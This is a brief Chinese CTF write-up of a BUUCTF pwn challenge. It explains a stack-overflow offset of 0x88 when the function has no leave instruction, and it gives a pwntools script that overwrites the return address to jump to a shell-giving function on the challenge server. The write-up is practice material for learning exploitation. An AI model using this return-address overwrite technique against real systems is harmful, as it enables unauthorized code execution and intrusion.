用IDA打开
思路基本就是利用栈溢出,执行good_game函数。
但是有一点,这个汇编可以看到没leave。可以和rip对比一下
本题无leave
rip有leave
无leave的话就不用加0x08,直接0x88就可以了
编写exp
1
2
3
4
5
6
7from pwn import *
#r = process('./pwn')
r = remote("node5.buuoj.cn", 29720)
getshell = 0x400620
payload_1 = b'a'*(0x88) + p64(getshell)
r.sendline(payload_1)
r.interactive()得到flag